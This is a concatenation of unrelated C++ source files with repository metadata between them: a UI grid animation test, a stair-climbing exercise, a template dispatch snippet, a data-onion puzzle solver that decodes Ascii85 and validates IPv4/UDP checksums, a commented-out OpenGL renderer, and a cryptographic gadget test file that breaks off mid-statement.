MOVE_STEP_SIZE_TEST = 20.0; constexpr int64_t EVENT_WAIT_MILLSECOND_TEST = 50; constexpr int64_t USEC_TIMES_TEST = 1000000000; constexpr int64_t USEC_WAIT_SECOND_TEST = 1000; } int64_t GetTickCountText() { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (ts.tv_sec * USEC_TIMES_TEST + ts.tv_nsec); } class RenderGridLayoutAnimationTest : public testing::Test { public: static void SetUpTestCase(); static void TearDownTestCase(); void SetUp() override; void TearDown() override; RefPtr<PipelineContext> mockContext_; RefPtr<RenderGridLayout> renderNode_; int32_t index_ = 0; RefPtr<Animator> frictionController_; RefPtr<Animator> springController_; RefPtr<RawRecognizer> slideRecognizer_; RefPtr<GestureRecognizer> dragDropGesture_; Offset coordinateOffset_; bool CreateGrid(bool isVertical, bool isSpringRecognizer); void BackItemsData(std::vector<Offset>& data); bool GetSpringRecognizer(); bool GetDragDropRecognizer(); void SetDragDropEvent(const RefPtr<GridLayoutComponent>& component); void MockTouchEventDown(TouchEvent& info); void MockTouchEventMove(TouchEvent& info); void MockTouchEventUp(TouchEvent& info); void MockDragTouchEventDown(TouchEvent& info); void MockDragTouchEventMove(TouchEvent& info); void MockDragTouchEventUp(TouchEvent& info); void WaitAndMockVsync(int64_t waitFor); void InitImageAnimatorComponent(); }; void RenderGridLayoutAnimationTest::SetUpTestCase() {} void RenderGridLayoutAnimationTest::TearDownTestCase() {} void RenderGridLayoutAnimationTest::SetUp() { mockContext_ = MockRenderCommon::GetMockContext(); renderNode_ = AceType::MakeRefPtr<RenderGridLayout>(); renderNode_->Attach(mockContext_); coordinateOffset_.Reset(); } void RenderGridLayoutAnimationTest::TearDown() { mockContext_ = nullptr; renderNode_ = nullptr; frictionController_ = nullptr; springController_ = nullptr; slideRecognizer_ = nullptr; dragDropGesture_ = nullptr; } bool RenderGridLayoutAnimationTest::GetSpringRecognizer() { TouchRestrict touchRestrict; TouchTestResult result; renderNode_->OnTouchTestHit(coordinateOffset_, touchRestrict, result); for (auto it = result.begin(); it != result.end(); it++) { auto slideRecognizer = AceType::DynamicCast<RawRecognizer>(*it); if (slideRecognizer) { slideRecognizer_ = WeakPtr<RawRecognizer>(slideRecognizer).Upgrade(); break; } } if (slideRecognizer_) { return true; } else { return false; } } bool RenderGridLayoutAnimationTest::GetDragDropRecognizer() { TouchRestrict touchRestrict; TouchTestResult result; renderNode_->OnTouchTestHit(coordinateOffset_, touchRestrict, result); for (auto it = result.begin(); it != result.end(); it++) { auto dragRecognizer = AceType::DynamicCast<GestureRecognizer>(*it); if (dragRecognizer) { dragDropGesture_ = WeakPtr<GestureRecognizer>(dragRecognizer).Upgrade(); break; } } if (dragDropGesture_) { return true; } else { return false; } } void RenderGridLayoutAnimationTest::SetDragDropEvent(const RefPtr<GridLayoutComponent>& component) { component->SetOnGridDragEnterId([](const ItemDragInfo& info) {}); component->SetOnGridDragMoveId([](const ItemDragInfo& info, int32_t itemIndex, int32_t insertIndex) {}); component->SetOnGridDragLeaveId([](const ItemDragInfo& info, int32_t itemIndex) {}); component->SetOnGridDragStartId([](const ItemDragInfo& info, int32_t itemIndex) {return nullptr;}); component->SetOnGridDropId( [](const ItemDragInfo& info, int32_t itemIndex, int32_t insertIndex, bool isSuccess) {}); } bool RenderGridLayoutAnimationTest::CreateGrid(bool isVertical, bool isSpringRecognizer) { std::string GRID_ROW_ARGS = "1fr 1fr 1fr "; std::string GRID_COL_ARGS = "1fr 1fr 1fr "; if (!renderNode_) { return false; } GridDragEventResult gridDragEvent; auto component = GridLayoutTestUtils::CreateDragComponent(GRID_ROW_ARGS, GRID_COL_ARGS); auto gridComponent = AceType::DynamicCast<GridLayoutComponent>(component); if (!gridComponent) { return false; } gridComponent->SetSupportAnimation(true); gridComponent->SetDragAnimation(true); gridComponent->SetEdgeEffection(EdgeEffect::SPRING); gridComponent->SetEditMode(true); if (isVertical) { gridComponent->SetDirection(FlexDirection::COLUMN); } else { gridComponent->SetDirection(FlexDirection::ROW); } if (!isSpringRecognizer) { SetDragDropEvent(gridComponent); } renderNode_->Update(gridComponent); for (int32_t i = 0; i < ELEMENT_COUNT_TEST; ++i) { RefPtr<RenderNode> item = GridLayoutTestUtils::CreateDragRenderItem(); item->GetChildren().front()->Attach(mockContext_); item->Attach(mockContext_); renderNode_->AddChild(item); } auto pageComponent = AceType::MakeRefPtr<PageComponent>(0, "", gridComponent); mockContext_->SetupRootElement(); mockContext_->PushPage(pageComponent); mockContext_->OnVsyncEvent(GetTickCountText(), 0); renderNode_->PerformLayout(); if (isSpringRecognizer) { return GetSpringRecognizer(); } else { return GetDragDropRecognizer(); } } void RenderGridLayoutAnimationTest::BackItemsData(std::vector<Offset>& data) { data.clear(); const std::list<RefPtr<RenderNode>>& items = renderNode_->GetChildren(); for (const auto& item: items) { data.push_back(item->GetPosition()); } } void RenderGridLayoutAnimationTest::MockTouchEventDown(TouchEvent& info) { if (slideRecognizer_) { TouchPoint point; info.x = renderNode_->GetGlobalOffset().GetX() + GRID_OFFSET_TEST - coordinateOffset_.GetX(); info.y = renderNode_->GetGlobalOffset().GetY() + GRID_OFFSET_TEST - coordinateOffset_.GetY(); point.x = info.x; point.y = info.y; info.type = TouchType::DOWN; info.time = std::chrono::high_resolution_clock::now(); point.x = info.x; point.y = info.y; info.pointers.clear(); info.pointers.push_back(point); slideRecognizer_->HandleEvent(info); } } void RenderGridLayoutAnimationTest::MockTouchEventMove(TouchEvent& info) { if (slideRecognizer_) { for (int32_t i = 0; i < MOVE_COUNT_TEST; i++) { TouchPoint point; info.x += MOVE_STEP_SIZE_TEST; info.y += MOVE_STEP_SIZE_TEST; info.type = TouchType::MOVE; info.time = std::chrono::high_resolution_clock::now(); point.x = info.x; point.y = info.y; info.pointers.clear(); info.pointers.push_back(point); slideRecognizer_->HandleEvent(info); std::this_thread::sleep_for(std::chrono::milliseconds(EVENT_WAIT_MILLSECOND_TEST)); } } } void RenderGridLayoutAnimationTest::MockTouchEventUp(TouchEvent& info) { if (slideRecognizer_) { TouchPoint point; info.type = TouchType::UP; info.time = std::chrono::high_resolution_clock::now(); point.x = info.x; point.y = info.y; info.pointers.clear(); info.pointers.push_back(point); slideRecognizer_->HandleEvent(info); } } void RenderGridLayoutAnimationTest::MockDragTouchEventDown(TouchEvent& info) { if (dragDropGesture_) { info.x = renderNode_->GetGlobalOffset().GetX() + GRID_OFFSET_TEST - coordinateOffset_.GetX(); info.y = renderNode_->GetGlobalOffset().GetY() + GRID_OFFSET_TEST - coordinateOffset_.GetY(); info.type = TouchType::DOWN; info.time = std::chrono::high_resolution_clock::now(); dragDropGesture_->HandleEvent(info); } } void RenderGridLayoutAnimationTest::MockDragTouchEventMove(TouchEvent& info) { if (dragDropGesture_) { for (int32_t i = 0; i < MOVE_COUNT_TEST; i++) { info.y -= MOVE_STEP_SIZE_TEST; info.type = TouchType::MOVE; info.time = std::chrono::high_resolution_clock::now(); dragDropGesture_->HandleEvent(info); std::this_thread::sleep_for(std::chrono::milliseconds(EVENT_WAIT_MILLSECOND_TEST)); } } } void RenderGridLayoutAnimationTest::MockDragTouchEventUp(TouchEvent& info) { if (dragDropGesture_) { info.type = TouchType::UP; info.time = std::chrono::high_resolution_clock::now(); dragDropGesture_->HandleEvent(info); } } void RenderGridLayoutAnimationTest::WaitAndMockVsync(int64_t waitFor) { constexpr int64_t RUNNING_TIME_STEP_TEST = 16; constexpr int64_t USLEEP_TIME_TEST = 16000; int64_t runningTime = 0; do { runningTime += RUNNING_TIME_STEP_TEST; mockContext_->OnVsyncEvent(GetTickCountText(), 0); usleep(USLEEP_TIME_TEST); } while (runningTime < waitFor); mockContext_->OnVsyncEvent(GetTickCountText(), 0); } /** * @tc.name: RenderGridLayoutSpringTest001 * @tc.desc: * @tc.type: FUNC * @tc.require: * @tc.author: */ HWTEST_F(RenderGridLayoutAnimationTest, RenderGridLayoutSpringTest001, TestSize.Level1) { TouchEvent touchPoint; std::vector<Offset> data; bool result = CreateGrid(true, true); ASSERT_TRUE(result); BackItemsData(data); MockTouchEventDown(touchPoint); MockTouchEventMove(touchPoint); int32_t index = 0; const std::list<RefPtr<RenderNode>>& items = renderNode_->GetChildren(); for (const auto& item: items) { Offset dOffset = item->GetPosition() - data[index]; index++; ASSERT_TRUE(NearZero(dOffset.GetY() - SPRING_INIT_DISTANCE)); } MockTouchEventUp(touchPoint); WaitAndMockVsync(USEC_WAIT_SECOND_TEST); index = 0; for (const auto& item: items) { Offset dOffset = item->GetPosition() - data[index]; index++; ASSERT_TRUE(NearZero(dOffset.GetY() - SPRING_INIT_DISTANCE)); } } /** * @tc.name: RenderGridLayoutSpringTest002 * @tc.desc: * @tc.type: FUNC * @tc.require: * @tc.author: */ HWTEST_F(RenderGridLayoutAnimationTest, RenderGridLayoutSpringTest002, TestSize.Level1) { TouchEvent touchPoint; std::vector<Offset> data; bool result = CreateGrid(false, true); ASSERT_TRUE(result); BackItemsData(data); MockTouchEventDown(touchPoint); MockTouchEventMove(touchPoint); int32_t index = 0; const std::list<RefPtr<RenderNode>>& items = renderNode_->GetChildren(); for (const auto& item: items) { Offset dOffset = item->GetPosition() - data[index]; index++; ASSERT_TRUE(NearZero(dOffset.GetX() - SPRING_INIT_DISTANCE)); } MockTouchEventUp(touchPoint); WaitAndMockVsync(USEC_WAIT_SECOND_TEST); index = 0; for (const auto& item: items) { Offset dOffset = item->GetPosition() - data[index]; index++; ASSERT_TRUE(NearZero(dOffset.GetX() - SPRING_INIT_DISTANCE)); } } /** * @tc.name: RenderGridLayoutDragDropTest001 * @tc.desc: * @tc.type: FUNC * @tc.require: * @tc.author: */ HWTEST_F(RenderGridLayoutAnimationTest, RenderGridLayoutDragDropTest001, TestSize.Level1) { TouchEvent touchPoint; std::vector<Offset> data; bool result = CreateGrid(true, false); ASSERT_TRUE(result); BackItemsData(data); MockDragTouchEventDown(touchPoint); std::this_thread::sleep_for(std::chrono::seconds(1)); MockDragTouchEventMove(touchPoint); int32_t index = 0; const std::list<RefPtr<RenderNode>>& items = renderNode_->GetChildren(); for (const auto& item: items) { Offset dOffset = item->GetPosition() - data[index]; ASSERT_TRUE(NearZero(dOffset.GetY())); index++; } MockDragTouchEventUp(touchPoint); WaitAndMockVsync(USEC_WAIT_SECOND_TEST); index = 0; for (const auto& item: items) { Offset dOffset = item->GetPosition() - data[index]; ASSERT_TRUE(NearZero(dOffset.GetX())); index++; } } } // namespace OHOS::Ace
63155cdff906e74ec44648001b66ea88d7509868
9c98f2b68f8d7e68d60f35dce34103ef51ce7a5d
/climbStairs.cpp
b776ebab7713be98db2d3379db3c980572395f04
[]
no_license
ernestk86/Programming-Exercises
de7e6762ae87f31d6ad3851d394492516d788adc
c040af720573b7495fb6f08a02aa0e35427893cc
refs/heads/main
2023-02-03T00:29:10.470029
2020-12-18T17:12:04
2020-12-18T17:12:04
309,203,449
0
1
null
null
null
null
UTF-8
C++
false
false
977
cpp
climbStairs.cpp
#include <iostream> #include <string> #include <vector> using std::cout; using std::endl; using std::string; using std::vector; /* You are climbing a stair case. It takes n steps to reach to the top. Each time you can either climb 1 or 2 steps. In how many distinct ways can you climb to the top? EXAMPLE Input: 2 Output: 2 Explanation: There are two ways to climb to the top. 1. 1 step + 1 step 2. 2 steps Input: 3 Output: 3 Explanation: There are three ways to climb to the top. 1. 1 step + 1 step + 1 step 2. 1 step + 2 steps 3. 2 steps + 1 step Constraints: 1 <= n <= 45 */ int climbStairs(int n) { if(n < 2) { return 1; } int first = 1; int second = 2; for(int i = 3; i <= n; i++) { int third = first + second; first = second; second = third; } return second; } /* BCR: O(n) Runtime: O(n) Space: O(1) */ int main(int argc, char* argv[]) { string test = argv[1]; return 0; }
db752fdff5002c4c37349bbaba90bed0e79b63c8
5d83739af703fb400857cecc69aadaf02e07f8d1
/Archive2/31/941b8d5e71dcfc/main.cpp
e0127d9512beb028c6b9c9f72f8037b434c14f8f
[]
no_license
WhiZTiM/coliru
3a6c4c0bdac566d1aa1c21818118ba70479b0f40
2c72c048846c082f943e6c7f9fa8d94aee76979f
refs/heads/master
2021-01-01T05:10:33.812560
2015-08-24T19:09:22
2015-08-24T19:09:22
56,789,706
3
0
null
null
null
null
UTF-8
C++
false
false
640
cpp
main.cpp
#include <iostream> #include <type_traits> // float f(); void g(int); int h(int) { return 0; } template<unsigned P> struct priority : priority<P-1> {}; template<> struct priority<0> {}; template<class Int> auto call_best(Int i, priority<2>) -> decltype(f(i)) { return f(i); } template<class Int> auto call_best(Int i, priority<1>) -> decltype(g(i)) { /*return g(i);*/ } // removed the call to avoid linker error template<class Int> auto call_best(Int i, priority<0>) -> decltype(h(i)) { return h(i); } void call_best(int i) { call_best(i, priority<2>{}); } int main() { std::cout << std::is_same<decltype(call_best(0)), void>{}; }
393ae04f304268d3a9ff462c3ae61ae16c9cb0d8
694a07e244b4e28341d47f0673604dcbd66da90a
/layer4.cpp
9a081a8ba543f13694d0f61f1def9b81beaae035
[]
no_license
RevDownie/TomsDataOnion
08cc912c80bcaf8aaf9c7a3228ebd8a296780c13
1c50ffdba7fdcea0c6c0bd347c673c1f18f3e89f
refs/heads/master
2022-11-11T23:55:02.234166
2020-07-08T14:59:55
2020-07-08T14:59:55
274,107,878
0
0
null
null
null
null
UTF-8
C++
false
false
9,382
cpp
layer4.cpp
#include <memory> #include <cstdio> #include <cmath> #include <fstream> #define BSWAP_16(x) ((x & 0x00FF) << 8) | ((x & 0xFF00) >> 8) #define BSWAP_32(x) ((x & 0x000000FF) << 24) | ((x & 0x0000FF00) << 8) | ((x & 0x00FF0000) >> 8) | ((x & 0xFF000000) >> 24) struct DecodeResult { std::unique_ptr<uint8_t[]> m_data; size_t m_length; }; struct IPv4Header { //We don't actually need to decode anything other than this uint8_t m_protocol; uint32_t m_sourceAddress; uint32_t m_destAddress; }; struct UDPHeader { uint16_t m_sourcePort; uint16_t m_destPort; uint16_t m_length; uint16_t m_checksum; }; //--Function Prototypes DecodeResult Ascii85Decode(const uint8_t*, size_t); IPv4Header IPv4HeaderUnpack(const uint8_t*); UDPHeader UDPHeaderUnpack(const uint8_t*); bool ValidateIPv4HeaderChecksum(const void*); bool ValidateUDPChecksum(uint32_t, uint32_t, uint16_t, const UDPHeader&, const void*, uint16_t); /// Tom's Data Onion - Layer 4 /// https://www.tomdalling.com/toms-data-onion/ /// /// Solve the next layer of the puzzle which is Ascii85 conversion followed by /// unpacking UDP packets and discarding corrupted ones /// /// NOTE: Compiled with C++17 /// To RUN: clang layer4.cpp -std=c++17 -lstdc++ -o layer4 && ./layer4 /// int main() { //---Read the payload data std::ifstream payloadFile("layer4_payload.txt"); payloadFile.seekg(0, std::ifstream::end); size_t payloadLength = payloadFile.tellg(); payloadFile.seekg(0, std::ifstream::beg); uint8_t* const encodedData = new uint8_t[payloadLength]; std::copy(std::istreambuf_iterator<char>(payloadFile), std::istreambuf_iterator<char>(), encodedData); payloadFile.close(); //---Ascii85 decode the data auto decodedDataResult = Ascii85Decode(encodedData, payloadLength); uint8_t* const decodedData = decodedDataResult.m_data.get(); delete[] encodedData; //---Packet processing const uint8_t* nextIn = decodedData; const uint8_t* endIn = nextIn + decodedDataResult.m_length; uint8_t* const processedData = new uint8_t[decodedDataResult.m_length]; uint8_t* nextOut = processedData; //Just used the MacOS calculator to convert the ip addresses const uint32_t validSrcIP = 167837962; //10.1.1.10 const uint32_t validDstIP = 167838152; //10.1.1.200 const uint16_t validDstPort = 42069; while(nextIn < endIn) { const IPv4Header ipHeader = IPv4HeaderUnpack(nextIn); const bool ipChecksumValid = ValidateIPv4HeaderChecksum(nextIn); nextIn += 20; //Header is guaranteed to be 20 bytes const UDPHeader udpHeader = UDPHeaderUnpack(nextIn); const uint16_t dataLength = udpHeader.m_length - 8; //Length includes the header size const bool udpChecksumValid = ValidateUDPChecksum(ipHeader.m_sourceAddress, ipHeader.m_destAddress, ipHeader.m_protocol, udpHeader, nextIn + 8, dataLength); nextIn += 8; //UDP header is 8 bytes //Discard (don't write out) any packet data that fails validation if(ipHeader.m_destAddress == validDstIP && ipHeader.m_sourceAddress == validSrcIP && udpHeader.m_destPort == validDstPort && ipChecksumValid && udpChecksumValid) { std::copy(nextIn, nextIn + dataLength, nextOut); nextOut += dataLength; } nextIn += dataLength; } //---Output the instructions for the next layer std::ofstream instructionsFile("layer5_instructions.txt", std::ios::out | std::ios::trunc); instructionsFile.write((const char*)processedData, nextOut - processedData); instructionsFile.close(); delete[] processedData; return 0; } /// https://en.wikipedia.org/wiki/Ascii85 /// /// - Work in blocks of 5 (padding the last 5 tuple with 'u' characters) (4 characters are encoded in 5) /// - Subtract 33 to convert ascii range /// - Get the 32 bit value (Big endian) of the block /// - Each byte will have the decoded ascii value (4 values) /// /// NOTE: If a group has all zeros it is encoded as a single character 'z' so decoding converts 'z' to 0000. The data didn't require this has been omitted /// NOTE: Acii85 data gets wrapped in <~ ~> delimeters /// DecodeResult Ascii85Decode(const uint8_t* encodedData, size_t encodedDataLength) { encodedDataLength -= 4; //Discount delimeters //Calculate the decoded size (ignoring z compression) 5 bytes => 4 bytes but taking into account padding const size_t decodedDataLength = encodedDataLength - std::ceil(encodedDataLength / 5.0f); uint8_t* decodedData = new uint8_t[decodedDataLength]; const size_t n = encodedDataLength / 5 * 5; size_t o = 0; uint8_t block[5]; //Convert the full 5 block chunks (unrolled) size_t i=2; //Slice off the start delimeter by starting at 2 for(; i<n; i+=5) { block[0] = encodedData[i]; block[1] = encodedData[i+1]; block[2] = encodedData[i+2]; block[3] = encodedData[i+3]; block[4] = encodedData[i+4]; const uint32_t p = (block[0] - 33) * 52200625 + (block[1] - 33) * 614125 + (block[2] - 33) * 7225 + (block[3] - 33) * 85 + (block[4] - 33); decodedData[o++] = (p >> 24) & 0xFF; decodedData[o++] = (p >> 16) & 0xFF; decodedData[o++] = (p >> 8) & 0xFF; decodedData[o++] = p & 0xFF; } //Handle any remaining bytes by padding the final block const size_t remaining = encodedDataLength % 5; if (remaining > 0) { size_t j = 0; for(; j<remaining; ++j) { block[j] = encodedData[i++]; } for (; j<5; ++j) { block[j] = 'u'; } const uint32_t p = (block[0] - 33) * 52200625 + (block[1] - 33) * 614125 + (block[2] - 33) * 7225 + (block[3] - 33) * 85 + (block[4] - 33); for(size_t k=0; k<remaining-1; ++k) { decodedData[o++] = (p >> (24-8*k)) & 0xFF; } } DecodeResult result; result.m_data = std::unique_ptr<uint8_t[]>(decodedData); result.m_length = decodedDataLength; return result; } /// Bitstream decode of IPv4 header. Header is guaranteed 20 bytes /// Header is packed big endian (all my machines are little endian so just switching from network order). /// We actually only need a portion of the header so not bothering decoding anything else /// IPv4Header IPv4HeaderUnpack(const uint8_t* packedHeader) { IPv4Header header; //Start at the block containing the protocol const uint32_t* next = ((const uint32_t*)packedHeader) + 2; header.m_protocol = (*next) >> 8; ++next; header.m_sourceAddress = BSWAP_32(*next); ++next; header.m_destAddress = BSWAP_32(*next); ++next; return header; } /// Fortunately the UDP header is 2-byte aligned so all we need to do is swap endian /// (all my machines are little endian so just switching from network order). /// UDPHeader UDPHeaderUnpack(const uint8_t* packedHeader) { UDPHeader header; const uint16_t* next = ((const uint16_t*)packedHeader); header.m_sourcePort = BSWAP_16(*next); ++next; header.m_destPort = BSWAP_16(*next); ++next; header.m_length = BSWAP_16(*next); ++next; header.m_checksum = BSWAP_16(*next); return header; } /// Sums all 16 bit values (handling the carry if overflowing 16 bits) then 1's complement. /// If zero then valid otherwise corrupted /// /// NOTE: Data must be in network order (BE) /// bool ValidateIPv4HeaderChecksum(const void* headerDataNetOrder) { const uint16_t* chunks16 = (const uint16_t*)headerDataNetOrder; uint32_t sum = chunks16[0] + chunks16[1] + chunks16[2] + chunks16[3] + chunks16[4] + chunks16[5] + chunks16[6] + chunks16[7] + chunks16[8] + chunks16[9]; //Carrying might generate at most one more carry sum = (sum & 0xFFFF) + (sum >> 16); sum = (sum & 0xFFFF) + (sum >> 16); uint16_t valid = ~sum; return valid == 0; } /// UDP checksum operates over a pseudo-header, full UDP header and payload. /// Pseudo header is formed from the source address, dest address and protocol from IP header with the UDP length /// Payload is zero padded until it is 2 byte aligned /// Sums all 16 bit values (handling the carry if overflowing 16 bits) then 1's complement. /// If zero then valid otherwise corrupted /// bool ValidateUDPChecksum(uint32_t srcAddr, uint32_t dstAddr, uint16_t proto, const UDPHeader& udpHeader, const void* payload, uint16_t payloadLength) { //Pseudo header uint32_t sum = (srcAddr & 0xFFFF) + (srcAddr >> 16 & 0xFFFF) + (dstAddr & 0xFFFF) + (dstAddr >> 16 & 0xFFFF) + proto + udpHeader.m_length; //UDP Header sum += udpHeader.m_sourcePort + udpHeader.m_destPort + udpHeader.m_length + udpHeader.m_checksum; //Payload const uint16_t* chunks16Payload = (const uint16_t*)payload; const size_t alignedPayloadLen = payloadLength / 2; for(size_t i=0; i<alignedPayloadLen; ++i) { sum += BSWAP_16(chunks16Payload[i]); } //Payload remainder (can only be 1 needs padded to 2 bytes with 0s) if((payloadLength % 2) > 0) { sum += BSWAP_16(chunks16Payload[alignedPayloadLen]) & 0xFF00; } //Carrying might generate at most one more carry sum = (sum & 0xFFFF) + (sum >> 16); sum = (sum & 0xFFFF) + (sum >> 16); uint16_t valid = ~sum; return valid == 0; }
79456c3fd56246aa096d81bdeb5df6dfffc4483a
2e6b44c36bd7827ac5fc991c746144b4de2a3212
/Barcalounger/Barcalounger/Renderer.cpp
5f9696ab7ce710ed047474119670c3bdd3924918
[]
no_license
Flufanufa/Barcalounger
7a889023e2fce92b99ec4d9e8346c41d68c13b3f
af4e07c575869fc2a20e157fe17c9e164850162c
refs/heads/master
2021-01-11T08:19:24.799386
2016-12-07T16:25:59
2016-12-07T16:25:59
72,949,874
0
0
null
null
null
null
UTF-8
C++
false
false
2,853
cpp
Renderer.cpp
/* //NO LONGER BEING USED #include "Renderer.h" #include "LogManager.h" LogManager *loginstance = NULL; //The renderer is a singleton class Renderer* Renderer::instance = NULL; Renderer::Renderer(){ loginstance = LogManager::getInstance(); windowInstance = Window::getInstance(); glEnable(GL_DOUBLEBUFFER); if (glGenVertexArrays == NULL) { loginstance->setLogLevel(loginstance->LOG_ERROR); loginstance->error("genVertexArrays gon fucked up"); } if (glGenBuffers == NULL) { loginstance->error("genBuffers dun gon fucked up 2"); } //glGenVertexArrays(1, &vao); //glGenBuffers(1, &vbo); } Renderer::~Renderer(){ clear(); } Renderer* Renderer::getInstance() { //checks to see if an instance of the renderer exists yet //if it doesn't, then it creates one and returns it if (instance == NULL) { instance = new Renderer(); } return instance; } void Renderer::Render() { //Clears the screen glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); //windowInstance->ClearRenderer(); resizeBuffers(); //The first thing is how the vertices are //grouped up when they are drawn //The second is the position in the arrays //that it will start from //The third is how many points it will use glDrawArrays(GL_TRIANGLES, 0, numVertices); //ensures the above gl Functions are executed by the //rendering engine asap glFlush(); } //CALL THIS METHOD IF YOU ADD/REMOVE ANYTHING FROM THE LIST OF VERTICES //^I basically said fuck it so now it gets called each time render is called void Renderer::resizeBuffers() { if (!listOfColorData.empty() && !listOfVertices.empty()) { glBindVertexArray(vao); glBufferData(GL_ARRAY_BUFFER, sizeof(listOfVertices), &listOfVertices, GL_STATIC_DRAW); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, BUFFER_OFFSET(0)); glEnableVertexAttribArray(0); glBindBuffer(GL_ARRAY_BUFFER, vbo); glBufferData(GL_ARRAY_BUFFER, sizeof(listOfColorData), &listOfColorData, GL_STATIC_DRAW); glVertexAttribPointer(1, 4, GL_FLOAT, GL_FALSE, 0, BUFFER_OFFSET(0)); glEnableVertexAttribArray(1); } } //we get a list and add it to the one we send to the buffer void Renderer::addListOfVertices(std::list<glm::vec3> verts) { for each (glm::vec3 v in verts) { listOfVertices.push_back(v); numVertices++; } } //same thing void Renderer::addListOfColorData(std::list<glm::vec4> cData) { for each (glm::vec4 v in cData) { listOfColorData.push_back(v); } } //clears the lists of vertices and colours //preferably called by whatever check to see //what is in the scene void Renderer::clear() { listOfVertices.clear(); listOfColorData.clear(); numVertices = 0; } / bool Renderer::initializeWindowDefault() { return windowInstance->CreateWindowDefault(); } bool Renderer::initializeWindow(int width, int height) { return windowInstance->CreateWindowWithDim(width, height); } */
8307d194e3b8a17da8854d170032dc578b783494
551247b391a7af9861cc836e045df08e1bd7f3a5
/sources/test.cpp
1b6b387dad2c5ae9220deb4e0324c8f26327bece
[ "Apache-2.0" ]
permissive
PinkDiamond1/gadget_lib
36295f28101c037a931fffcb148d84123020ce91
7c29a69a3c639372dec380b5b7cf431aacd26da7
refs/heads/master
2023-03-19T08:38:57.535178
2018-08-06T14:44:50
2018-08-06T14:44:50
null
0
0
null
null
null
null
UTF-8
C++
false
false
6,831
cpp
test.cpp
#include "annealing.hpp" #include "basic_gadgets.hpp" #include "utils.hpp" #include "Field.hpp" using namespace gadgetlib; #define PRIME_NUM 1273437928060067303 //#define PRIME_NUM 11 struct my_str_provider { constexpr static char const* str() { return "245521870800009915270890634279110554381234874750592897213830758155042977723351"; } }; void check(const gadget& gadget) { auto pboard = protoboard<Field<PRIME_NUM>>(); auto annealing = engraver(); annealing.incorporate_gadget(pboard, gadget); r1cs_example<Field<PRIME_NUM>> example(pboard); std::cout << example.constraint_system.size() << std::endl; std::cout << example.check_assignment() << std::endl; //example.dump(); } void check_addition() { gadget input(0x12345678, 32, false); gadget result(0xf0e21567, 32, true); gadget const_gadget(0xdeadbeef, 32); gadget comparison = ((input + const_gadget) == result); check(comparison); } void check_addition_xor() { gadget input(0x12345678, 32, false); gadget result(0xc1840208, 32, true); gadget const_gadget1(0xf0e21561, 32); gadget const_gadget2(0xdeadbeef, 32); gadget comparison = (((input ^ const_gadget1) + const_gadget2) == result); check(comparison); } void check_concat_extract() { gadget input = gadget(0, 32) || gadget(0x1, 1) || gadget(0x0, 31) || gadget(0x2, 32) || gadget(3, 32) || gadget(4, 32) || gadget(5, 32) || gadget(6, 32) || gadget(7, 32); gadget result(0x7, 32, true); gadget comparison = ((input)[{32 * 7, 32 * 7 +31}] == result); check(comparison); } void check_concat_extract2() { gadget input = gadget(1, 16) || gadget(2, 16); gadget result = { 0x00010002, 32 }; gadget comparison = (input == result); check(comparison); } void check_shr() { gadget input(0x12345678, 32, false); gadget result(0x01234567, 32, true); gadget const_gadget(0x21436587, 32); gadget comparison = ((input >> 4) == result); check(comparison); } void check_rotate() { gadget input(0x12345678, 32, false); gadget result(0x81234567, 32, true); gadget const_gadget(0x21436587, 32); gadget comparison = ((input.rotate_right(32)) == input); check(comparison); } void check_and() { gadget input(0x1122335E, 32, false); gadget result(0x1020324e, 32, true); gadget const_gadget(0xdeadbeef, 32); gadget comparison = ((input & const_gadget) == result); check(comparison); } void check_not() { gadget input(0xffffffff, 32, false); gadget result(0x00000000, 32, true); gadget comparison = ((!input) == result); check(comparison); } void check_ITE() { gadget first_var(0xdeadbeef, 32, false); gadget second_var(0x12345678, 32, false); gadget result(0x12345678, 32, true); gadget input(0, 1, true); gadget comparison = (ITE(input, first_var, second_var) == result); check(comparison); } void check_leq() { gadget input1(1, 2, true); gadget input2(3, 2, true); gadget comparison = ((input1 <= input2) == gadget(1, 1)); check(comparison); } void check_sha256() { gadget input(0x33323138, 32, false); gadget result(0x9D21310B, 32, true); gadget comparison = ((sha256_gadget(input))[{224, 255}] == result); check(comparison); } #include "sha256.hpp" void check_sha256v2() { std::string input_str = "3218"; std::string hex_digest; picosha2::hash256_hex_string(input_str, hex_digest); std::string result_str = hex_digest; gadget input(0x33323138, 32, true); gadget result(result_str, 256, true); gadget comparison = (sha256_gadget(input) == result); check(comparison); } void check_common_prefix_mask() { gadget input1(11, 4, true); gadget input2(7, 4, true); gadget result = get_common_prefix_mask(input1, input2); gadget comparison = (result == gadget(3, 4)); check(comparison); } #include "hasher.hpp" void test_MimC() { gadget input(0xdeadbeef, 32, true); using hasher = merkle_tree::MimcHash<PRIME_NUM, uint32_t>; auto result = hasher::hash_leaf(0xdeadbeef); gadget result_gadget(std::string("d") + result.to_string(), false); gadget comparison = (result_gadget == MimcLeafHash(input)); check(comparison); } #include "merkle_tree.hpp" template<uint64_t characteristics> std::vector<gadget> convert_proof_to_gadget(const std::vector<Field<characteristics>>& x) { std::vector<gadget> result; for (auto& elem : x) { result.emplace_back(std::string("d") + elem.to_string(), false); } return result; } void check_merkle_proof() { std::vector<uint32_t> leaves = { 0xdeadbeef, 0x112364e1, 3, 0x12345678}; using hasher = merkle_tree::MimcHash<PRIME_NUM, uint32_t>; merkle_tree::MerkleTree<hasher, uint32_t> tree(leaves); uint32_t raw_address = 1; gadget address(raw_address, tree.height(), true); gadget leaf(tree.get_leaf_at_address(raw_address), 32, false); std::vector<gadget> proof = convert_proof_to_gadget(tree.get_proof(raw_address)); gadget merkle_root = gadget(std::string("d")+tree.get_root().to_string(), true); gadget flag = (merkle_tree_proof(address, leaf, proof, merkle_root, tree.height())); check(flag); } void check_transaction() { std::vector<uint32_t> leaves = { 12, 43, 32, 41 }; using hasher = merkle_tree::MimcHash<PRIME_NUM, uint32_t>; merkle_tree::MerkleTree<hasher, uint32_t> tree(leaves); uint32_t raw_from_address = 1; uint32_t raw_to_address = 3; uint32_t raw_amount = 9; gadget merkle_root_before = gadget(std::string("d") + tree.get_root().to_string(), true); gadget from_address(raw_from_address, tree.height(), true); gadget from_balance(tree.get_leaf_at_address(raw_from_address), 32, false); std::vector<gadget> from_proof_before = convert_proof_to_gadget(tree.get_proof(raw_from_address)); gadget to_address(raw_to_address, tree.height(), true); gadget to_balance(tree.get_leaf_at_address(raw_to_address), 32, false); std::vector<gadget> to_proof_before = 